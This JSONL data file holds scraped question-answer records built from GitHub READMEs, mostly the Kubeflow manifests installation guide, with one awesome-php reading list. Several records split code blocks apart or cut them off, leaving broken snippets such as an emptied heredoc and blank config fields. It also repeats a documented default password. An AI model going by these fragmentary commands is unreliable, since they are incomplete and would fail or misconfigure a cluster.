{"id": "gh_071ad4abf633", "question": "How to: PHP Internals Reading", "question_body": "About ziadoz/awesome-php", "answer": "*Reading materials related to the PHP internals or performance.*\n\n* [PHP RFCs](https://wiki.php.net/rfc) - The home of PHP RFCs (Request for Comments).\n* [Externals](https://externals.io/) - PHP internal discussions.\n* [PHP RFC Watch](https://github.com/beberlei/php-rfc-watch) - Watch the latest PHP [RFCs](https://wiki.php.net/rfc).\n* [PHP Internals Book](https://www.phpinternalsbook.com/) - An online book about PHP internals, written by three core developers.", "tags": ["ziadoz"], "source": "github_gists", "category": "ziadoz", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 32296, "answer_score": 10, "has_code": false, "url": "https://github.com/ziadoz/awesome-php", "collected_at": "2026-01-17T12:57:56.920352"}
{"id": "gh_1504258137c8", "question": "How to: Table of Contents", "question_body": "About kubeflow/manifests", "answer": "- [Overview of the Kubeflow Platform](#overview-of-the-kubeflow-platform)\n- [Kubeflow Components Versions](#kubeflow-components-versions)\n- [Installation](#installation)\n  - [Prerequisites](#prerequisites)\n  - [Install with a Single Command](#install-with-a-single-command)\n  - [Install Individual Components](#install-individual-components)\n  - [Connect to Your Kubeflow Cluster](#connect-to-your-kubeflow-cluster)\n  - [Change Default User Name](#change-default-user-name)\n  - [Change Default User Password](#change-default-user-password)\n- [Upgrading and Extending](#upgrading-and-extending)\n- [Release Process](#release-process)\n- [Security](#security)\n- [Pre-commit Hooks](#pre-commit-hooks)\n- [Architecture](#architecture)\n- [Frequently Asked Questions](#frequently-asked-questions)", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 981, "answer_score": 10, "has_code": false, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496398"}
{"id": "gh_147df734f488", "question": "How to: Overview of the Kubeflow Platform", "question_body": "About kubeflow/manifests", "answer": "- This repository is owned by the [Platform/Manifests/security Working Group](https://github.com/kubeflow/community/blob/master/wg-manifests/charter.md).\n- You can join the CNCF Slack and access our meetings at the [Kubeflow Community](https://www.kubeflow.org/docs/about/community/) website.\n- Our channel on the CNCF Slack is [**#kubeflow-platform**](https://app.slack.com/client/T08PSQ7BQ/C073W572LA2).\n- You can also find our [biweekly meetings](https://bit.ly/kf-wg-manifests-meet), including the commentable [Agenda](https://bit.ly/kf-wg-manifests-notes).\n- If you want to contribute, please take a look at the [CONTRIBUTING.md](CONTRIBUTING.md).\n\nThe Kubeflow Manifests repository is organized under three main directories, which include manifests for installing:\n\n| Directory | Purpose |\n| - | - |\n| `applications` | Kubeflow's official components, maintained by the respective Kubeflow WGs |\n| `common` | Common services, maintained by the Manifests WG |\n| `experimental` | Third-party integrations and platform experiments (e.g., Ray, SeaweedFS, or security improvements) |\n\nAll components are deployable with `kustomize`. You can choose to deploy the entire Kubeflow platform or individual components.", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 981, "answer_score": 10, "has_code": false, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496415"}
{"id": "gh_a5c7d4030697", "question": "How to: Kubeflow Version: Master", "question_body": "About kubeflow/manifests", "answer": "This repository periodically synchronizes all official Kubeflow components from the respective upstream repositories. The following matrix shows the git version included for each component along with the resource requirements for each Kubeflow component, calculated as the maximum of actual usage and configured requests for CPU/memory as well as storage requirements from PVCs:\n\n| Component | Local Manifests Path | Upstream Revision | CPU (millicores) | Memory (Mi) |  PVC Storage (GB) |\n| - | - | - | - | - | - |\n| Training Operator | applications/training-operator/upstream | [v1.9.2](https://github.com/kubeflow/training-operator/tree/v1.9.2/manifests) | 3m | 25Mi | 0GB |\n| Trainer | applications/trainer/upstream | [v2.1.0](https://github.com/kubeflow/trainer/tree/v2.1.0/manifests) | 8m | 143Mi | 0GB |\n| Notebook Controller | applications/jupyter/notebook-controller/upstream | [v1.10.0](https://github.com/kubeflow/kubeflow/tree/v1.10.0/components/notebook-controller/config) | 5m | 93Mi | 0GB |\n| PVC Viewer Controller | applications/pvcviewer-controller/upstream | [v1.10.0](https://github.com/kubeflow/kubeflow/tree/v1.10.0/components/pvcviewer-controller/config) | 15m | 128Mi | 0GB |\n| Tensorboard Controller | applications/tensorboard/tensorboard-controller/upstream | [v1.10.0](https://github.com/kubeflow/kubeflow/tree/v1.10.0/components/tensorboard-controller/config) | 15m | 128Mi | 0GB |\n| Central Dashboard | applications/centraldashboard/upstream | [v1.10.0](https://github.com/kubeflow/kubeflow/tree/v1.10.0/components/centraldashboard/manifests) | 2m | 159Mi | 0GB |\n| Profiles + KFAM | applications/profiles/upstream | [v1.10.0](https://github.com/kubeflow/kubeflow/tree/v1.10.0/components/profile-controller/config) | 7m | 129Mi | 0GB |\n| PodDefaults Webhook | applications/admission-webhook/upstream | [v1.10.0](https://github.com/kubeflow/kubeflow/tree/v1.10.0/components/admission-webhook/manifests) | 1m | 14Mi | 0GB |\n| Jupyter Web Application | applications/jupyter/jupyter-web-app/upstream | [v1.10.0](https://github.com/kubeflow/kubeflow/tree/v1.10.0/components/crud-web-apps/jupyter/manifests) | 4m | 231Mi | 0GB |\n| Tensorboards Web Application | applications/tensorboard/tensorboards-web-app/upstream | [v1.10.0](https://github.com/kubeflow/kubeflow/tree/v1.10.0/components/crud-web-apps/tensorboards/manifests) |  |  |  |\n| Volumes Web Application | applications/volumes-web-app/upstream | [v1.10.0](https://github.com/kubeflow/kubeflow/tree/v1.10.0/components/crud-web-apps/volumes/manifests) | 4m | 226Mi | 0GB |\n| Katib | applications/katib/upstream | [v0.19.0](https://github.com/kubeflow/katib/tree/v0.19.0/manifests/v1beta1) | 13m | 476Mi | 10GB |\n| KServe | applications/kserve/kserve | [v0.15.2](https://github.com/kserve/kserve/releases/tag/v0.15.2/install/v0.15.2) | 600m | 1200Mi | 0GB |\n| KServe Models Web Application | applications/kserve/models-web-app | [v0.15.0](https://github.com/kserve/models-web-app/tree/v0.15.0/config) | 6m | 259Mi  | 0GB |\n| Kubeflow Pipelines | applications/pipeline/upstream | [2.15.0](https://github.com/kubeflow/pipelines/tree/2.15.0/manifests/kustomize) | 970m | 3552Mi | 35GB |\n| Kubeflow Model Registry | applications/model-registry/upstream | [v0.3.4](https://github.com/kubeflow/model-registry/tree/v0.3.4/manifests/kustomize) | 510m | 2112Mi | 20GB |\n| Spark Operator\t|\tapplications/spark/spark-operator\t|\t[2.4.0](https://github.com/kubeflow/spark-operator/tree/v2.4.0) | 9m | 41Mi | 0GB |\n| Istio | common/istio | [1.28.0](https://github.com/istio/istio/releases/tag/1.28.0) | 750m | 2364Mi | 0GB |\n| Knative | common/knative/knative-serving\ncommon/knative/knative-eventing | [v1.20.0](https://github.com/knative/serving/releases/tag/knative-v1.20.0)\n[v1.20.0](https://github.com/knative/eventing/releases/tag/knative-v1.20.0) | 1450m | 1038Mi | 0GB |\n| Cert Manager | common/cert-manager | [1.16.1](https://github.com/cert-manager/cert-manager/releases/tag/v1.16.1) | 3m | 128Mi | 0GB |\n| Dex | common/dex | [2.43.1](https://github.com/dexidp/dex/releases/tag/v2.43.1) | 3m | 27Mi | 0GB |\n| OAuth2-Proxy | common/oauth2-proxy | [7.10.0](https://github.com/oauth2-proxy/oauth2-proxy/releases/tag/v7.10.0) | 3m | 27Mi | 0GB |\n| **Total** | | | **4380m** | **12341Mi** | **65GB** |", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 981, "answer_score": 10, "has_code": false, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496430"}
{"id": "gh_08b0e05fdef6", "question": "How to: Installation", "question_body": "About kubeflow/manifests", "answer": "This section covers the installation from scratch. For the in-place upgrade guide, please jump to the [Upgrading and Extending](#upgrading-and-extending) section.\n\nAlthough our master branch has extended automated tests and is already quite stable, please consider using a stable [release tag/branch](https://github.com/kubeflow/manifests/releases) for a more conservative experience.\n\nWe provide two options for installing the official Kubeflow components and common services with Kustomize. The aim is to help users install easily and building distributions of Kubeflow by deriving / deviating from the Kubeflow manifests:\n\n1. Single-command installation of all components under `applications` and `common`\n2. Multi-command, individual component installation for `applications` and `common`\n\nOption 1 targets ease of deployment for end users. \\\nOption 2 targets customization, allowing users to pick and choose individual components.\n\nThe `example` directory contains an example kustomization for the single command to be able to run.\n\n:warning: In both options, we use a default email (`user@example.com`) and password (`12341234`). For any production Kubeflow deployment, you should change the default password by following [the relevant section](#change-default-user-password).", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 981, "answer_score": 10, "has_code": false, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496438"}
{"id": "gh_f8afa95087d9", "question": "How to: Prerequisites", "question_body": "About kubeflow/manifests", "answer": "- This is the master branch, which targets Kubernetes version 1.34+.\n- For the specific Kubernetes version per release, consult the [release notes](https://github.com/kubeflow/manifests/releases).\n- Either our local Kind (installed below) or your own Kubernetes cluster with a default [StorageClass](https://kubernetes.io/docs/concepts/storage/storage-classes/).\n- Kustomize version [5.7.1](https://github.com/kubernetes-sigs/kustomize/releases/tag/kustomize%2Fv5.7.1).\n- Kubectl version compatible with your Kubernetes cluster ([Version Skew Policy](https://kubernetes.io/releases/version-skew-policy/#kubectl)).\n\n---\n**NOTE**\n\n`kubectl apply` commands may fail on the first try. This is inherent in how Kubernetes and `kubectl` work (e.g., CR must be created after CRD becomes ready). The solution is to simply re-run the command until it succeeds. For the single-line command, we have included a bash one-liner to retry the command.\n\n---", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 981, "answer_score": 10, "has_code": false, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496445"}
{"id": "gh_260d4688e675", "question": "How to: Install with a Single Command", "question_body": "About kubeflow/manifests", "answer": "#### Prerequisites\n- 16 GB of RAM recommended.\n- 8 CPU cores recommended.\n- `kind` version 0.27+.\n- `docker` or a more modern tool such as `podman` to run the OCI images for the Kind cluster.\n- Linux kernel subsystem changes to support many pods:\n    - `sudo sysctl fs.inotify.max_user_instances=2280`\n    - `sudo sysctl fs.inotify.max_user_watches=1255360`\n- You can exclude components from the `example/kustomization.yaml` to fit Kubeflow into 4-8 GB of memory and 2-4 CPU cores.\n\n#### Create Kind Cluster\n```sh\ncat <\n/tmp/kubeflow-config\nexport KUBECONFIG=/tmp/kubeflow-config\n```\n\n#### Create a Secret Based on Existing Credentials to Pull the Images\n```sh\ndocker login\n\nkubectl create secret generic regcred \\\n    --from-file=.dockerconfigjson=$HOME/.docker/config.json \\\n    --type=kubernetes.io/dockerconfigjson\n```\n\nYou can install all Kubeflow official components (residing under `applications`) and all common services (residing under `common`) using the following command:\n\n```sh\nwhile ! kustomize build example | kubectl apply --server-side --force-conflicts -f -; do echo \"Retrying to apply resources\"; sleep 20; done\n```\n\nOnce everything is installed successfully, you can access the Kubeflow Central Dashboard [by logging in to your cluster](#connect-to-your-kubeflow-cluster).\n\nCongratulations! You can now start experimenting and running your end-to-end ML workflows with Kubeflow.", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 981, "answer_score": 10, "has_code": true, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496454"}
{"id": "gh_59d225b5b64a", "question": "How to: Install Individual Components", "question_body": "About kubeflow/manifests", "answer": "In this section, we will install each Kubeflow official component (under `applications`) and each common service (under `common`) separately, using just `kubectl` and `kustomize`.\n\nIf all the following commands are executed, the result is the same as in the above section of the single command installation. The purpose of this section is to:\n\n- Provide a description of each component and insight on how it gets installed.\n- Enable the user or distribution owner to pick and choose only the components they need.\n\n---\n**Troubleshooting Note**\n\nWe have seen errors like the following when applying the kustomizations of different components:\n```\nerror: resource mapping not found for name: \"\n\" namespace: \"\n\" from \"STDIN\": no matches for kind \"\n\" in version \"\n\"\nensure CRDs are installed first\n```\n\nThis is because a kustomization applies both a CRD and a CR very quickly, and the CRD has not yet become [`Established`](https://github.com/kubernetes/apiextensions-apiserver/blob/a7ee7f91a2d0805f729998b85680a20cfba208d2/pkg/apis/apiextensions/types.go#L276-L279) yet. You can learn more about this in\nand\n.\n\nIf you encounter this error, we advise re-applying the manifests of the component.\n\n---\n\n#### Kubeflow Namespace\n\nCreate the namespaces where the Kubeflow components will reside. We are in the transition from `kubeflow` to `kubeflow-system`.\n\nInstall the Kubeflow namespace:\n\n```sh\nkustomize build common/kubeflow-namespace/base | kubectl apply -f -\n```\n\n#### Cert-manager\n\nCert-manager is used by many Kubeflow components to provide certificates for admission webhooks.\n\nInstall cert-manager:\n\n```sh\nkustomize build common/cert-manager/base | kubectl apply -f -\nkustomize build common/cert-manager/kubeflow-issuer/base | kubectl apply -f -\necho \"Waiting for cert-manager to be ready ...\"\nkubectl wait --for=condition=Ready pod -l 'app in (cert-manager,webhook)' --timeout=180s -n cert-manager\nkubectl wait --for=jsonpath='{.subsets[0].addresses[0].targetRef.kind}'=Pod endpoints -l 'app in (cert-manager,webhook)' --timeout=180s -n cert-manager\n```\n\nIn case you encounter this error:\n```\nError from server (InternalError): error when creating \"STDIN\": Internal error occurred: failed calling webhook \"webhook.cert-manager.io\": failed to call webhook: Post \"https://cert-manager-webhook.cert-manager.svc:443/mutate?timeout=10s\": dial tcp 10.96.202.64:443: connect: connection refused\n```\nThis is because the webhook is not yet ready to receive requests. Wait a couple of seconds and retry applying the manifests.\n\nFor more troubleshooting info, also check out\n.\n\n#### Istio\n\nIstio is used by most Kubeflow components to secure their traffic, enforce network authorization, and implement routing policies. This installation uses Istio CNI, which eliminates the need for privileged init containers and improves compatibility with Pod Security Standards. If you use Cilium CNI on your cluster, you must configure it properly for Istio as shown [here](https://docs.cilium.io/en/latest/network/servicemesh/istio/); otherwise, you will encounter RBAC access denied on the central dashboard.\n\nInstall Istio:\n\n```sh\necho \"Installing Istio CNI configured with external authorization...\"\nkustomize build common/istio/istio-crds/base | kubectl apply -f -\nkustomize build common/istio/istio-namespace/base | kubectl apply -f -", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 981, "answer_score": 10, "has_code": true, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496466"}
{"id": "gh_6048fdfc1139", "question": "How to: For most platforms (Kind, Minikube, AKS, EKS, etc.)", "question_body": "About kubeflow/manifests", "answer": "kustomize build common/istio/istio-install/overlays/oauth2-proxy | kubectl apply -f -", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 981, "answer_score": 10, "has_code": false, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496471"}
{"id": "gh_ed1f997f140b", "question": "How to: kustomize build common/istio/istio-install/overlays/gke | kubectl apply -f -", "question_body": "About kubeflow/manifests", "answer": "echo \"Waiting for all Istio Pods to become ready...\"\nkubectl wait --for=condition=Ready pods --all -n istio-system --timeout 300s\n```\n\n#### Oauth2-proxy\n\nThe oauth2-proxy extends your Istio Ingress-Gateway capabilities to function as an OIDC client. It supports user sessions as well as proper token-based machine-to-machine authentication.\n\n```sh\necho \"Installing oauth2-proxy...\"", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 981, "answer_score": 10, "has_code": true, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496477"}
{"id": "gh_b16f95ec59fc", "question": "How to: kustomize build common/oauth2-proxy/overlays/m2m-dex-only/ | kubectl apply -f -", "question_body": "About kubeflow/manifests", "answer": "kubectl wait --for=condition=Ready pod -l 'app.kubernetes.io/name=oauth2-proxy' --timeout=180s -n oauth2-proxy", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 981, "answer_score": 10, "has_code": false, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496483"}
{"id": "gh_a10cb87b3f77", "question": "How to: #kustomize build common/oauth2-proxy/overlays/m2m-dex-and-eks/ | kubectl apply -f -", "question_body": "About kubeflow/manifests", "answer": "#kubectl wait --for=condition=Ready pod -l 'app.kubernetes.io/name=oauth2-proxy' --timeout=180s -n oauth2-proxy\n```\n\nIf and after you finish the installation with Kubernetes service account token support, you should be able to create and use the tokens:\n```sh\nkubectl port-forward svc/istio-ingressgateway -n istio-system 8080:80\nTOKEN=\"$(kubectl -n $KF_PROFILE_NAMESPACE create token default-editor)\"\nclient = kfp.Client(host=\"http://localhost:8080/pipeline\", existing_token=token)\ncurl -v \"localhost:8080/jupyter/api/namespaces/${$KF_PROFILE_NAMESPACE}/notebooks\" -H \"Authorization: Bearer ${TOKEN}\"\n```\n\nIf you want to use OAuth2 Proxy without Dex and connect it directly to your own IDP, you can refer to this [document](common/oauth2-proxy/README.md#change-default-authentication-from-dex--oauth2-proxy-to-oauth2-proxy-only). However, you can also keep Dex and extend it with connectors to your own IDP as explained in the Dex section below.\n\n#### Dex\n\nDex is an OpenID Connect (OIDC) identity provider with multiple authentication backends. In this default installation, it includes a static user with the email `user@example.com`. By default, the user's password is `12341234`. For any production Kubeflow deployment, you should change the default password by following [the relevant section](#change-default-user-password).\n\nInstall Dex:\n\n```sh\necho \"Installing Dex...\"\nkustomize build common/dex/overlays/oauth2-proxy | kubectl apply -f -\nkubectl wait --for=condition=Ready pods --all --timeout=180s -n auth\n```\n\nTo connect to your desired identity providers (LDAP, GitHub, Google, Microsoft, OIDC, SAML, GitLab), please take a look at\n. We recommend using OIDC in general since it is compatible with most providers. For example, Azure in the following example. You need to modify\nand add some environment variables in\nby adding a patch section in your main Kustomization file. For guidance, please check out [Upgrading and Extending](#upgrading-and-extending).\n\n```yaml\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: dex\ndata:\n  config.yaml: |\n    issuer: https://$KUBEFLOW_INGRESS_URL/dex\n    storage:\n      type: kubernetes\n      config:\n        inCluster: true\n    web:\n      http: 0.0.0.0:5556\n    logger:\n      level: \"debug\"\n      format: text\n    oauth2:\n      skipApprovalScreen: true\n    enablePasswordDB: true\n    #### WARNING: YOU SHOULD NOT USE THE DEFAULT STATIC PASSWORDS\n    #### and patch /common/dex/base/dex-passwords.yaml in a Kustomize overlay or remove it\n    staticPasswords:\n    - email: user@example.com\n      hashFromEnv: DEX_USER_PASSWORD\n      username: user\n      userID: \"15841185641784\"\n    staticClients:\n    # https://github.com/dexidp/dex/pull/1664\n    - idEnv: OIDC_CLIENT_ID\n      redirectURIs: [\"/oauth2/callback\"]\n      name: 'Dex Login Application'\n      secretEnv: OIDC_CLIENT_SECRET\n    #### Here come the connectors to OIDC providers such as Azure, GCP, GitHub, GitLab, etc.\n    #### Connector config values starting with a \"$\" will read from the environment.\n    connectors:\n    - type: oidc\n      id: azure\n      name: azure\n      config:\n        issuer: https://login.microsoftonline.com/$TENANT_ID/v2.0\n        redirectURI: https://$KUBEFLOW_INGRESS_URL/dex/callback\n        clientID: $AZURE_CLIENT_ID\n        clientSecret: $AZURE_CLIENT_SECRET\n        insecureSkipEmailVerified: true\n        scopes:\n        - openid\n        - profile\n        - email\n        #- groups # groups might be used in the future\n```\n\nFor Keycloak, we have rough guidelines in\n.\n\n#### Knative\n\nKnative is used by the KServe official Kubeflow component.\n\nInstall Knative Serving:\n\n```sh\nkustomize build common/knative/knative-serving/overlays/gateways | kubectl apply -f -\nkustomize build common/istio/cluster-local-gateway/base | kubectl apply -f -\n```\n\nOptionally, you can install Knative Eventing, which can be used for inference request logging:\n\n```sh\nkustomize build common/knative/knative-eventing/base | kubectl apply -f -\n```\n\n#### Network Policies\n\nInstall network policies:\n```sh\nkustomize build common/networkpolicies/base | kubectl apply -f -\n```\n\n#### Kubeflow Roles\n\nCreate the Kubeflow ClusterRoles: `kubeflow-view`, `kubeflow-edit`, and `kubeflow-admin`. Kubeflow components aggregate permissions to these ClusterRoles.\n\nInstall Kubeflow roles:\n\n```sh\nkustomize build common/kubeflow-roles/base | kubectl apply -f -\n```\n\n#### Kubeflow Istio Resources\n\nCreate the Kubeflow Gateway `kubeflow-gateway` and ClusterRole `kubeflow-istio-admin`.\n\nInstall Kubeflow Istio resources:\n\n```sh\nkustomize build common/istio/kubeflow-istio-resou", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 981, "answer_score": 10, "has_code": true, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496533"}
{"id": "gh_ffe51004c8ab", "question": "How to: kustomize build applications/training-operator/upstream/overlays/kubeflow | kubectl apply --server-side --force-conflicts -f -", "question_body": "About kubeflow/manifests", "answer": "```\n\n#### Spark Operator\n\nInstall the Spark Operator:\n\n```sh\nkustomize build applications/spark/spark-operator/overlays/kubeflow | kubectl apply --server-side --force-conflicts -f -\n```\n\n**Note:** The Ray component in the experimental folder is configured to disable Istio sidecar injection for its head and worker pods to ensure compatibility with Istio CNI.\n\n#### User Namespaces\n\nFinally, create a new namespace for the default user (named `kubeflow-user-example-com`).\n\n```sh\nkustomize build common/user-namespace/base | kubectl apply -f -\n```", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 981, "answer_score": 10, "has_code": true, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496545"}
{"id": "gh_cd1753491033", "question": "How to: Connect to Your Kubeflow Cluster", "question_body": "About kubeflow/manifests", "answer": "After installation, it will take some time for all Pods to become ready. Ensure all Pods are ready before trying to connect; otherwise, you might encounter unexpected errors. To check that all Kubeflow-related Pods are ready, use the following commands:\n\n```sh\nkubectl get pods -n cert-manager\nkubectl get pods -n istio-system\nkubectl get pods -n auth\nkubectl get pods -n oauth2-proxy\nkubectl get pods -n knative-serving\nkubectl get pods -n kubeflow\nkubectl get pods -n kubeflow-user-example-com\n```\n\n#### Port-Forward\n\nThe default way of accessing Kubeflow is via port-forwarding. This enables you to get started quickly without imposing any requirements on your environment. Run the following to port-forward Istio's Ingress-Gateway to local port `8080`:\n\n```sh\nkubectl port-forward svc/istio-ingressgateway -n istio-system 8080:80\n```\n\nAfter running the command, you can access the Kubeflow Central Dashboard by doing the following:\n\n1. Open your browser and visit `http://localhost:8080`. You should see the Dex login screen.\n2. Log in with the default user's credentials. The default email address is `user@example.com`, and the default password is `12341234`.\n\n#### NodePort / LoadBalancer / Ingress\n\nTo connect to Kubeflow using NodePort / LoadBalancer / Ingress, you need to set up HTTPS. The reason is that many of our web applications (e.g., Tensorboard Web Application, Jupyter Web Application, Katib UI) use [Secure Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies), so accessing Kubeflow with HTTP over a non-localhost domain does not work.\n\nExposing your Kubeflow cluster with proper HTTPS is a straightforward process but depends on your environment. You can expose the `istio-ingressgateway` service in the `istio-system` namespace via nginx-ingress or any other ingress provider. For security reasons, only use `ClusterIP` on the service, not NodePort or something similarly dangerous. There is third-party [commercial support](https://www.kubeflow.org/docs/started/support/) available.\n\n---\n**NOTE**\n\nIf you absolutely need to expose Kubeflow over HTTP, you can disable the `Secure Cookies` feature by setting the `APP_SECURE_COOKIES` environment variable to `false` in every relevant web app. This is not recommended, as it poses security risks.\n\n---", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 981, "answer_score": 10, "has_code": true, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496554"}
{"id": "gh_06d1858a8900", "question": "How to: Change Default User Name", "question_body": "About kubeflow/manifests", "answer": "For security reasons, we don't want to use the default username and email for the default Kubeflow user when installing in security-sensitive environments. Instead, you should define your own username and email before deploying. To define it for the default user:\n\n1. Edit `common/dex/overlays/oauth2-proxy/config-map.yaml` and fill the relevant field with your email and preferred username:\n\n    ```yaml\n    ...\n      staticPasswords:\n      - email:\nusername:\n```", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 981, "answer_score": 10, "has_code": true, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496560"}
{"id": "gh_288f8827a58b", "question": "How to: Change Default User Password", "question_body": "About kubeflow/manifests", "answer": "If you have an identity provider (LDAP, GitHub, Google, Microsoft, OIDC, SAML, GitLab) available, you should use that instead of static passwords and connect it to oauth2-proxy or Dex as explained in the sections above. This is best practice instead of using static passwords.\n\nFor security reasons, we don't want to use the default static password for the default Kubeflow user when installing in security-sensitive environments. Instead, you should define your own password and apply it either **before creating the cluster** or **after creating the cluster**.\n\nPick a password for the default user, with email `user@example.com`, and hash it using `bcrypt`:\n\n    ```sh\n    python3 -c 'from passlib.hash import bcrypt; import getpass; print(bcrypt.using(rounds=12, ident=\"2y\").hash(getpass.getpass()))'\n    ```\n\nFor example, running the above command locally with required packages like _passlib_ would look as follows:\n  ```sh\n  python3 -c 'from passlib.hash import bcrypt; import getpass; print(bcrypt.using(rounds=12, ident=\"2y\").hash(getpass.getpass()))'\n  Password:       <--- Enter the password here\n  $2y$12$vIm8CANhuWui0J1p3jYeGeuM28Qcn76IFMaFWvZCG5ZkKZ4MjTF4u <--- GENERATED_HASH_FOR_ENTERED_PASSWORD\n  ```\n\n#### Before Creating the Cluster:\n\n1. Edit `common/dex/base/dex-passwords.yaml` and fill the relevant field with the hash of the password you chose:\n\n    ```yaml\n    ...\n      stringData:\n        DEX_USER_PASSWORD:\n```\n\n#### After Creating the Cluster:\n\n1. Delete the existing secret _dex-passwords_ in the auth namespace using the following command:\n\n    ```sh\n    kubectl delete secret dex-passwords -n auth\n    ```\n\n2. Create the secret dex-passwords with the new hash using the following command:\n\n    ```sh\n    kubectl create secret generic dex-passwords --from-literal=DEX_USER_PASSWORD='REPLACE_WITH_HASH' -n auth\n    ```\n\n3. Recreate the _dex_ pod in the auth namespace using the following command:\n\n    ```sh\n    kubectl delete pods --all -n auth\n    ```\n\n4. Try to log in using the new Dex password.", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 981, "answer_score": 10, "has_code": true, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496570"}
{"id": "gh_03bbf4df9ad5", "question": "How to: Upgrading and Extending", "question_body": "About kubeflow/manifests", "answer": "For modifications and in-place upgrades of the Kubeflow platform, we provide a rough description for advanced users:\n\n- Never edit the manifests directly; use Kustomize overlays and [components](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/components.md) on top of the [example.yaml](https://github.com/kubeflow/manifests/blob/master/example/kustomization.yaml).\n- This allows you to upgrade by just referencing the new manifests, building with Kustomize, and running `kubectl apply` again.\n- You might have to adjust your overlays and components if needed.\n- You might need to prune old resources. For that, you would add [labels](https://kubectl.docs.kubernetes.io/references/kustomize/kustomization/labels/) to all your resources from the start.\n- With labels, you can use `kubectl apply` with `--prune` and `--dry-run` to list prunable resources.\n- Sometimes there are major changes; for example, in the 1.9 release, we switched to oauth2-proxy, which needs additional attention (cleanup istio-system once); or 1.9.1 -> 1.10 `kubectl delete clusterrolebinding meta-controller-cluster-role-binding`\n- Nevertheless, with a bit of Kubernetes knowledge, one should be able to upgrade.", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 981, "answer_score": 10, "has_code": false, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496578"}
{"id": "gh_5cec2437ed4c", "question": "How to: Kubernetes upgrade fails due to `PodDisruptionBudget`", "question_body": "About kubeflow/manifests", "answer": "To work around this remove these `PodDisruptionBudget`s for the time of the upgrade.\nYou can most easily find them via the `k9s` pdb overview of this resource, alternatively with this command:\n\n```\n$ kubectl get --all-namespaces PodDisruptionBudget\n```\n\nAs of now the following `PodDisruptionBudget`s are problematic in the upgrade\ncontext, all due to the `minAvailable` attribute:\n\n- **eventing-webhook** from _knative-eventing_\n- **activator-pdb** from _knative-serving_\n- **webhook-pdb** from _knative-serving_", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 981, "answer_score": 10, "has_code": true, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496585"}
{"id": "gh_3ac8967244f7", "question": "How to: Release Process", "question_body": "About kubeflow/manifests", "answer": "The Manifest Working Group releases Kubeflow based on the [release timeline](https://github.com/kubeflow/community/blob/master/releases/handbook.md#timeline). The community and the release team work closely with the Manifest Working Group to define the specific dates at the start of the [release cycle](https://github.com/kubeflow/community/blob/master/releases/handbook.md#releasing) and follow the [release versioning policy](https://github.com/kubeflow/community/blob/master/releases/handbook.md#versioning-policy), as defined in the [Kubeflow release handbook](https://github.com/kubeflow/community/blob/master/releases/handbook.md).", "tags": ["kubeflow"], "source": "github_gists", "category": "kubeflow", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 981, "answer_score": 10, "has_code": false, "url": "https://github.com/kubeflow/manifests", "collected_at": "2026-01-17T12:58:20.496592"}
